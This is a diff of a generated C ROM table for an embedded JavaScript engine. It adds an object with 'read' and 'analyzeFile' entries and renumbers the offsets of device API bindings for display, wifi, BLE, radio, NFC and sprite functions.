@@ -3402,7 +3413,7 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(179) /* prototype */,
   JS_CLASS_FLOAT32_ARRAY << 1,
   (3 << 1) | (JS_PROP_SPECIAL << 30),
-  /* properties (offset=3200) */
+  /* properties (offset=3211) */
   JS_VALUE_ARRAY_HEADER(9),
   2 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -3413,14 +3424,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(183) /* constructor */,
   (uint32_t)(-JS_CLASS_FLOAT32_ARRAY - 1) << 1,
   (3 << 1) | (JS_PROP_SPECIAL << 30),
-  /* class (offset=3210) */
+  /* class (offset=3221) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(3190),
+  JS_ROM_VALUE(3201),
   144,
-  JS_ROM_VALUE(3200),
-  JS_ROM_VALUE(3010),
+  JS_ROM_VALUE(3211),
+  JS_ROM_VALUE(3021),
 
-  /* properties (offset=3215) */
+  /* properties (offset=3226) */
   JS_VALUE_ARRAY_HEADER(9),
   2 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -3431,7 +3442,7 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(179) /* prototype */,
   JS_CLASS_FLOAT64_ARRAY << 1,
   (3 << 1) | (JS_PROP_SPECIAL << 30),
-  /* properties (offset=3225) */
+  /* properties (offset=3236) */
   JS_VALUE_ARRAY_HEADER(9),
   2 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -3442,24 +3453,24 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(183) /* constructor */,
   (uint32_t)(-JS_CLASS_FLOAT64_ARRAY - 1) << 1,
   (3 << 1) | (JS_PROP_SPECIAL << 30),
-  /* class (offset=3235) */
+  /* class (offset=3246) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(3215),
+  JS_ROM_VALUE(3226),
   145,
-  JS_ROM_VALUE(3225),
-  JS_ROM_VALUE(3010),
+  JS_ROM_VALUE(3236),
+  JS_ROM_VALUE(3021),
 
-  /* float64 (offset=3240) */
+  /* float64 (offset=3251) */
   JS_MB_HEADER_DEF(JS_MTAG_FLOAT64),
   0x00000000,
   0x7ff00000,
 
-  /* float64 (offset=3243) */
+  /* float64 (offset=3254) */
   JS_MB_HEADER_DEF(JS_MTAG_FLOAT64),
   0x00000000,
   0x7ff80000,
 
-  /* properties (offset=3246) */
+  /* properties (offset=3257) */
   JS_VALUE_ARRAY_HEADER(6),
   1 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -3467,14 +3478,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(551) /* log */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 146),
   (0 << 1) | (JS_PROP_NORMAL << 30),
-  /* class (offset=3253) */
+  /* class (offset=3264) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(3246),
+  JS_ROM_VALUE(3257),
   -1,
   JS_NULL,
   JS_NULL,
 
-  /* properties (offset=3258) */
+  /* properties (offset=3269) */
   JS_VALUE_ARRAY_HEADER(6),
   1 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -3482,26 +3493,26 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(592) /* now */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 147),
   (0 << 1) | (JS_PROP_NORMAL << 30),
-  /* class (offset=3265) */
+  /* class (offset=3276) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(3258),
+  JS_ROM_VALUE(3269),
   -1,
   JS_NULL,
   JS_NULL,
 
-  /* properties (offset=3270) */
+  /* properties (offset=3281) */
   JS_VALUE_ARRAY_HEADER(3),
   0 << 1, /* n_props */
   0 << 1, /* hash_mask */
   0 << 1,
-  /* class (offset=3274) */
+  /* class (offset=3285) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(3270),
+  JS_ROM_VALUE(3281),
   -1,
   JS_NULL,
   JS_NULL,
 
-  /* properties (offset=3279) */
+  /* properties (offset=3290) */
   JS_VALUE_ARRAY_HEADER(9),
   2 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -3512,14 +3523,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(868) /* tone */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 149),
   (3 << 1) | (JS_PROP_NORMAL << 30),
-  /* class (offset=3289) */
+  /* class (offset=3300) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(3279),
+  JS_ROM_VALUE(3290),
   -1,
   JS_NULL,
   JS_NULL,
 
-  /* properties (offset=3294) */
+  /* properties (offset=3305) */
   JS_VALUE_ARRAY_HEADER(37),
   9 << 1, /* n_props */
   7 << 1, /* hash_mask */
@@ -3558,14 +3569,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(900) /* runFile */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 158),
   (28 << 1) | (JS_PROP_NORMAL << 30),
-  /* class (offset=3332) */
+  /* class (offset=3343) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(3294),
+  JS_ROM_VALUE(3305),
   -1,
   JS_NULL,
   JS_NULL,
 
-  /* properties (offset=3337) */
+  /* properties (offset=3348) */
   JS_VALUE_ARRAY_HEADER(30),
   8 << 1, /* n_props */
   3 << 1, /* hash_mask */
@@ -3597,14 +3608,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(939) /* getEEPROMSize */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 166),
   (0 << 1) | (JS_PROP_NORMAL << 30),
-  /* class (offset=3368) */
+  /* class (offset=3379) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(3337),
+  JS_ROM_VALUE(3348),
   -1,
   JS_NULL,
   JS_NULL,
 
-  /* properties (offset=3373) */
+  /* properties (offset=3384) */
   JS_VALUE_ARRAY_HEADER(129),
   37 << 1, /* n_props */
   15 << 1, /* hash_mask */
@@ -3735,14 +3746,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(1091) /* restoreBrightness */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 203),
   (39 << 1) | (JS_PROP_NORMAL << 30),
-  /* class (offset=3503) */
+  /* class (offset=3514) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(3373),
+  JS_ROM_VALUE(3384),
   -1,
   JS_NULL,
   JS_NULL,
 
-  /* properties (offset=3508) */
+  /* properties (offset=3519) */
   JS_VALUE_ARRAY_HEADER(46),
   12 << 1, /* n_props */
   7 << 1, /* hash_mask */
@@ -3790,14 +3801,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(1136) /* drawStatusBar */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 215),
   (25 << 1) | (JS_PROP_NORMAL << 30),
-  /* class (offset=3555) */
+  /* class (offset=3566) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(3508),
+  JS_ROM_VALUE(3519),
   -1,
   JS_NULL,
   JS_NULL,
 
-  /* properties (offset=3560) */
+  /* properties (offset=3571) */
   JS_VALUE_ARRAY_HEADER(58),
   16 << 1, /* n_props */
   7 << 1, /* hash_mask */
@@ -3857,14 +3868,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(1213) /* pins */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 231),
   (0 << 1) | (JS_PROP_NORMAL << 30),
-  /* class (offset=3619) */
+  /* class (offset=3630) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(3560),
+  JS_ROM_VALUE(3571),
   -1,
   JS_NULL,
   JS_NULL,
 
-  /* properties (offset=3624) */
+  /* properties (offset=3635) */
   JS_VALUE_ARRAY_HEADER(21),
   5 << 1, /* n_props */
   3 << 1, /* hash_mask */
@@ -3887,14 +3898,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(1230) /* writeRead */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 236),
   (6 << 1) | (JS_PROP_NORMAL << 30),
-  /* class (offset=3646) */
+  /* class (offset=3657) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(3624),
+  JS_ROM_VALUE(3635),
   -1,
   JS_NULL,
   JS_NULL,
 
-  /* properties (offset=3651) */
+  /* properties (offset=3662) */
   JS_VALUE_ARRAY_HEADER(16),
   4 << 1, /* n_props */
   1 << 1, /* hash_mask */
@@ -3912,14 +3923,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(1244) /* transmit */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 240),
   (7 << 1) | (JS_PROP_NORMAL << 30),
-  /* class (offset=3668) */
+  /* class (offset=3679) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(3651),
+  JS_ROM_VALUE(3662),
   -1,
   JS_NULL,
   JS_NULL,
 
-  /* properties (offset=3673) */
+  /* properties (offset=3684) */
   JS_VALUE_ARRAY_HEADER(40),
   10 << 1, /* n_props */
   7 << 1, /* hash_mask */
@@ -3961,14 +3972,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(1287) /* setLongPress */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 250),
   (0 << 1) | (JS_PROP_NORMAL << 30),
-  /* class (offset=3714) */
+  /* class (offset=3725) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(3673),
+  JS_ROM_VALUE(3684),
   -1,
   JS_NULL,
   JS_NULL,
 
-  /* properties (offset=3719) */
+  /* properties (offset=3730) */
   JS_VALUE_ARRAY_HEADER(6),
   1 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -3976,14 +3987,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(1297) /* blink */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 251),
   (0 << 1) | (JS_PROP_NORMAL << 30),
-  /* class (offset=3726) */
+  /* class (offset=3737) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(3719),
+  JS_ROM_VALUE(3730),
   -1,
   JS_NULL,
   JS_NULL,
 
-  /* properties (offset=3731) */
+  /* properties (offset=3742) */
   JS_VALUE_ARRAY_HEADER(9),
   2 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -3994,14 +4005,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(1306) /* captureSamples */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 253),
   (3 << 1) | (JS_PROP_NORMAL << 30),
-  /* class (offset=3741) */
+  /* class (offset=3752) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(3731),
+  JS_ROM_VALUE(3742),
   -1,
   JS_NULL,
   JS_NULL,
 
-  /* properties (offset=3746) */
+  /* properties (offset=3757) */
   JS_VALUE_ARRAY_HEADER(49),
   13 << 1, /* n_props */
   7 << 1, /* hash_mask */
@@ -4052,14 +4063,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(1348) /* srixWriteBlock */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 266),
   (40 << 1) | (JS_PROP_NORMAL << 30),
-  /* class (offset=3796) */
+  /* class (offset=3807) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(3746),
+  JS_ROM_VALUE(3757),
   -1,
   JS_NULL,
   JS_NULL,
 
-  /* properties (offset=3801) */
+  /* properties (offset=3812) */
   JS_VALUE_ARRAY_HEADER(16),
   4 << 1, /* n_props */
   1 << 1, /* hash_mask */
@@ -4077,14 +4088,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(1371) /* main */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 270),
   (7 << 1) | (JS_PROP_NORMAL << 30),
-  /* class (offset=3818) */
+  /* class (offset=3829) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(3801),
+  JS_ROM_VALUE(3812),
   -1,
   JS_NULL,
   JS_NULL,
 
-  /* properties (offset=3823) */
+  /* properties (offset=3834) */
   JS_VALUE_ARRAY_HEADER(21),
   5 << 1, /* n_props */
   3 << 1, /* hash_mask */
@@ -4107,14 +4118,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(1224) /* write */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 275),
   (15 << 1) | (JS_PROP_NORMAL << 30),
-  /* class (offset=3845) */
+  /* class (offset=3856) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(3823),
+  JS_ROM_VALUE(3834),
   -1,
   JS_NULL,
   JS_NULL,
 
-  /* properties (offset=3850) */
+  /* properties (offset=3861) */
   JS_VALUE_ARRAY_HEADER(37),
   9 << 1, /* n_props */
   7 << 1, /* hash_mask */
@@ -4153,14 +4164,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(1405) /* spaceSDCard */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 284),
   (28 << 1) | (JS_PROP_NORMAL << 30),
-  /* class (offset=3888) */
+  /* class (offset=3899) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(3850),
+  JS_ROM_VALUE(3861),
   -1,
   JS_NULL,
   JS_NULL,
 
-  /* properties (offset=3893) */
+  /* properties (offset=3904) */
   JS_VALUE_ARRAY_HEADER(30),
   8 << 1, /* n_props */
   3 << 1, /* hash_mask */
@@ -4192,163 +4203,181 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(1424) /* txEnd */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 292),
   (24 << 1) | (JS_PROP_NORMAL << 30),
-  /* class (offset=3924) */
+  /* class (offset=3935) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(3893),
+  JS_ROM_VALUE(3904),
   -1,
   JS_NULL,
   JS_NULL,
 
-  /* properties (offset=3929) */
+  /* properties (offset=3940) */
+  JS_VALUE_ARRAY_HEADER(9),
+  2 << 1, /* n_props */
+  0 << 1, /* hash_mask */
+  6 << 1,
+  JS_ROM_VALUE(1227) /* read */,
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 293),
+  (0 << 1) | (JS_PROP_NORMAL << 30),
+  JS_ROM_VALUE(1432) /* analyzeFile */,
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 294),
+  (3 << 1) | (JS_PROP_NORMAL << 30),
+  /* class (offset=3950) */
+  JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
+  JS_ROM_VALUE(3940),
+  -1,
+  JS_NULL,
+  JS_NULL,
+
+  /* properties (offset=3955) */
   JS_VALUE_ARRAY_HEADER(30),
   8 << 1, /* n_props */
   3 << 1, /* hash_mask */
   15 << 1,
-  0 << 1,
   27 << 1,
   24 << 1,
-  JS_ROM_VALUE(1430) /* connected */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 293),
+  0 << 1,
+  JS_ROM_VALUE(1439) /* connected */,
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 295),
   (0 << 1) | (JS_PROP_NORMAL << 30),
-  JS_ROM_VALUE(1434) /* connectDialog */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 294),
+  JS_ROM_VALUE(1443) /* connectDialog */,
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 296),
   (6 << 1) | (JS_PROP_NORMAL << 30),
-  JS_ROM_VALUE(1439) /* connect */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 295),
+  JS_ROM_VALUE(1448) /* connect */,
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 297),
   (0 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(1221) /* scan */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 296),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 298),
   (0 << 1) | (JS_PROP_NORMAL << 30),
-  JS_ROM_VALUE(1442) /* disconnect */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 297),
+  JS_ROM_VALUE(1451) /* disconnect */,
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 299),
   (9 << 1) | (JS_PROP_NORMAL << 30),
-  JS_ROM_VALUE(1446) /* httpFetch */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 298),
+  JS_ROM_VALUE(1455) /* httpFetch */,
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 300),
   (18 << 1) | (JS_PROP_NORMAL << 30),
-  JS_ROM_VALUE(1450) /* getMACAddress */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 299),
+  JS_ROM_VALUE(1459) /* getMACAddress */,
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 301),
   (21 << 1) | (JS_PROP_NORMAL << 30),
-  JS_ROM_VALUE(1455) /* getIPAddress */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 300),
+  JS_ROM_VALUE(1464) /* getIPAddress */,
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 302),
   (12 << 1) | (JS_PROP_NORMAL << 30),
-  /* class (offset=3960) */
+  /* class (offset=3986) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(3929),
+  JS_ROM_VALUE(3955),
   -1,
   JS_NULL,
   JS_NULL,
 
-  /* properties (offset=3965) */
+  /* properties (offset=3991) */
   JS_VALUE_ARRAY_HEADER(13),
   3 << 1, /* n_props */
   1 << 1, /* hash_mask */
-  4 << 1,
   10 << 1,
+  0 << 1,
   JS_ROM_VALUE(1221) /* scan */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 301),
-  (0 << 1) | (JS_PROP_NORMAL << 30),
-  JS_ROM_VALUE(1462) /* advertise */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 302),
-  (0 << 1) | (JS_PROP_NORMAL << 30),
-  JS_ROM_VALUE(1466) /* stopAdvertise */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 303),
+  (0 << 1) | (JS_PROP_NORMAL << 30),
+  JS_ROM_VALUE(1471) /* advertise */,
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 304),
+  (4 << 1) | (JS_PROP_NORMAL << 30),
+  JS_ROM_VALUE(1475) /* stopAdvertise */,
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 305),
   (7 << 1) | (JS_PROP_NORMAL << 30),
-  /* class (offset=3979) */
+  /* class (offset=4005) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(3965),
+  JS_ROM_VALUE(3991),
   -1,
   JS_NULL,
   JS_NULL,
 
-  /* properties (offset=3984) */
+  /* properties (offset=4010) */
   JS_VALUE_ARRAY_HEADER(21),
   5 << 1, /* n_props */
   3 << 1, /* hash_mask */
-  12 << 1,
   18 << 1,
   0 << 1,
   9 << 1,
+  12 << 1,
   JS_ROM_VALUE(1218) /* begin */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 304),
-  (0 << 1) | (JS_PROP_NORMAL << 30),
-  JS_ROM_VALUE(1474) /* send */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 305),
-  (6 << 1) | (JS_PROP_NORMAL << 30),
-  JS_ROM_VALUE(1477) /* receive */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 306),
   (0 << 1) | (JS_PROP_NORMAL << 30),
-  JS_ROM_VALUE(1480) /* setChannel */,
+  JS_ROM_VALUE(1483) /* send */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 307),
   (0 << 1) | (JS_PROP_NORMAL << 30),
-  JS_ROM_VALUE(1484) /* isConnected */,
+  JS_ROM_VALUE(1486) /* receive */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 308),
+  (6 << 1) | (JS_PROP_NORMAL << 30),
+  JS_ROM_VALUE(1489) /* setChannel */,
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 309),
+  (0 << 1) | (JS_PROP_NORMAL << 30),
+  JS_ROM_VALUE(1493) /* isConnected */,
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 310),
   (15 << 1) | (JS_PROP_NORMAL << 30),
-  /* class (offset=4006) */
+  /* class (offset=4032) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(3984),
+  JS_ROM_VALUE(4010),
   -1,
   JS_NULL,
   JS_NULL,
 
-  /* properties (offset=4011) */
+  /* properties (offset=4037) */
   JS_VALUE_ARRAY_HEADER(16),
   4 << 1, /* n_props */
   1 << 1, /* hash_mask */
   13 << 1,
-  10 << 1,
-  JS_ROM_VALUE(1490) /* setColor */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 309),
+  7 << 1,
+  JS_ROM_VALUE(1499) /* setColor */,
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 311),
   (0 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(1086) /* setBrightness */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 310),
-  (4 << 1) | (JS_PROP_NORMAL << 30),
-  JS_ROM_VALUE(1494) /* off */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 311),
-  (7 << 1) | (JS_PROP_NORMAL << 30),
-  JS_ROM_VALUE(1297) /* blink */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 312),
   (0 << 1) | (JS_PROP_NORMAL << 30),
-  /* class (offset=4028) */
+  JS_ROM_VALUE(1503) /* off */,
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 313),
+  (4 << 1) | (JS_PROP_NORMAL << 30),
+  JS_ROM_VALUE(1297) /* blink */,
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 314),
+  (10 << 1) | (JS_PROP_NORMAL << 30),
+  /* class (offset=4054) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(4011),
+  JS_ROM_VALUE(4037),
   -1,
   JS_NULL,
   JS_NULL,
 
-  /* properties (offset=4033) */
+  /* properties (offset=4059) */
   JS_VALUE_ARRAY_HEADER(24),
   6 << 1, /* n_props */
   3 << 1, /* hash_mask */
   0 << 1,
-  0 << 1,
   21 << 1,
   18 << 1,
-  JS_ROM_VALUE(1499) /* show */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 313),
+  0 << 1,
+  JS_ROM_VALUE(1508) /* show */,
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 315),
   (0 << 1) | (JS_PROP_NORMAL << 30),
-  JS_ROM_VALUE(1502) /* showMainBorder */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 314),
+  JS_ROM_VALUE(1511) /* showMainBorder */,
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 316),
   (0 << 1) | (JS_PROP_NORMAL << 30),
-  JS_ROM_VALUE(1507) /* showMainBorderWithTitle */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 315),
+  JS_ROM_VALUE(1516) /* showMainBorderWithTitle */,
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 317),
   (6 << 1) | (JS_PROP_NORMAL << 30),
-  JS_ROM_VALUE(1514) /* printTitle */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 316),
+  JS_ROM_VALUE(1523) /* printTitle */,
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 318),
   (9 << 1) | (JS_PROP_NORMAL << 30),
-  JS_ROM_VALUE(1518) /* printSubtitle */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 317),
+  JS_ROM_VALUE(1527) /* printSubtitle */,
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 319),
   (15 << 1) | (JS_PROP_NORMAL << 30),
-  JS_ROM_VALUE(1523) /* displayMessage */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 318),
+  JS_ROM_VALUE(1532) /* displayMessage */,
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 320),
   (12 << 1) | (JS_PROP_NORMAL << 30),
-  /* class (offset=4058) */
+  /* class (offset=4084) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(4033),
+  JS_ROM_VALUE(4059),
   -1,
   JS_NULL,
   JS_NULL,
 
-  /* properties (offset=4063) */
+  /* properties (offset=4089) */
   JS_VALUE_ARRAY_HEADER(6),
   1 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -4356,7 +4385,7 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(179) /* prototype */,
   JS_CLASS_TIMERS_STATE << 1,
   (0 << 1) | (JS_PROP_SPECIAL << 30),
-  /* properties (offset=4070) */
+  /* properties (offset=4096) */
   JS_VALUE_ARRAY_HEADER(6),
   1 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -4364,14 +4393,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(183) /* constructor */,
   (uint32_t)(-JS_CLASS_TIMERS_STATE - 1) << 1,
   (0 << 1) | (JS_PROP_SPECIAL << 30),
-  /* class (offset=4077) */
+  /* class (offset=4103) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(4063),
-  319,
-  JS_ROM_VALUE(4070),
+  JS_ROM_VALUE(4089),
+  321,
+  JS_ROM_VALUE(4096),
   JS_NULL,
 
-  /* properties (offset=4082) */
+  /* properties (offset=4108) */
   JS_VALUE_ARRAY_HEADER(6),
   1 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -4379,25 +4408,25 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(179) /* prototype */,
   JS_CLASS_SPRITE << 1,
   (0 << 1) | (JS_PROP_SPECIAL << 30),
-  /* properties (offset=4089) */
+  /* properties (offset=4115) */
   JS_VALUE_ARRAY_HEADER(111),
   31 << 1, /* n_props */
   15 << 1, /* hash_mask */
   66 << 1,
   81 << 1,
-  105 << 1,
+  99 << 1,
   0 << 1,
   90 << 1,
   36 << 1,
   108 << 1,
   75 << 1,
   93 << 1,
-  84 << 1,
+  102 << 1,
   42 << 1,
   69 << 1,
   78 << 1,
-  51 << 1,
-  102 << 1,
+  105 << 1,
+  21 << 1,
   96 << 1,
   JS_ROM_VALUE(954) /* setTextColor */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 172),
@@ -4483,23 +4512,23 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(1091) /* restoreBrightness */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 203),
   (87 << 1) | (JS_PROP_NORMAL << 30),
-  JS_ROM_VALUE(1535) /* pushSprite */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 321),
-  (21 << 1) | (JS_PROP_NORMAL << 30),
-  JS_ROM_VALUE(1539) /* deleteSprite */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 322),
-  (99 << 1) | (JS_PROP_NORMAL << 30),
+  JS_ROM_VALUE(1544) /* pushSprite */,
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 323),
+  (84 << 1) | (JS_PROP_NORMAL << 30),
